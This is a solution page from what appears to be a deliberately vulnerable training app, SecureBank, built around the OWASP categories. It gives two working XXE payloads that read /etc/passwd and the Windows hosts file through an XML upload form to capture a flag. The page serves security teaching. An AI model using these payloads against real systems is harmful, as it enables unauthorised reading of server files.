SecureBank
  • About SecureBank
  • A01:2021 – Broken Access Control
    • About
    • Challenges
  • A02:2021 – Cryptographic Failures
    • About
    • Challenges
  • A03:2021 – Injection
    • About
    • Challenges
  • A04:2021 – Insecure Design
    • About
    • Challenges
  • A05:2021 – Security Misconfiguration
    • About
    • Challenges
  • A06:2021 – Vulnerable and Outdated Components
    • About
    • Challenges
  • A07:2021 – Identification and Authentication Failures
    • About
    • Challenges
  • A08:2021 – Software and Data Integrity Failures
    • About
    • Challenges
  • A09:2021 – Security Logging and Monitoring Failures
    • About
  • A10:2021 – Server-Side Request Forgery (SSRF)
    • About
    • Challenges
  • CROSS SITE SCRIPTING (XXS)
    • About
    • Challenges
  • XML External Entities (XXE)
    • About
    • Challenges
  • Miscellaneous
    • Invalid Model
    • Invalid Redirect
    • Directory Browsing
    • Simultaneous Request
    • reDOS
Powered by GitBook
On this page
  • XXE
  • Solution

Was this helpful?

  1. XML External Entities (XXE)

Challenges

PreviousAboutNextInvalid Model

Last updated 4 years ago

Was this helpful?

XXE

Depending on which OS the application is running, we can find different paths. For instance, if the application is running on the Windows server, we can for sure expect that there will be an available file in location C:/Windows/System32/drivers/etc/hosts. On the other hand, if the app is running on Linux, then we can expect that file /etc/passwd exists.

Solution

If you visit the transaction page, you will be able to see a form where you can upload transactions. This form requires an XML file format. If we upload a simple XXE sample, we will be able to see the output of specified paths.

  • If you are trying to get C:/Windows/System32/drivers/etc/hosts:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo 
  [
      <!ELEMENT foo ANY >
      <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" >
]>
<foo>&xxe;</foo>
  • If you are trying to get etc/passwd:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo 
  [
      <!ELEMENT foo ANY >
      <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>

You will find the flag in the response header.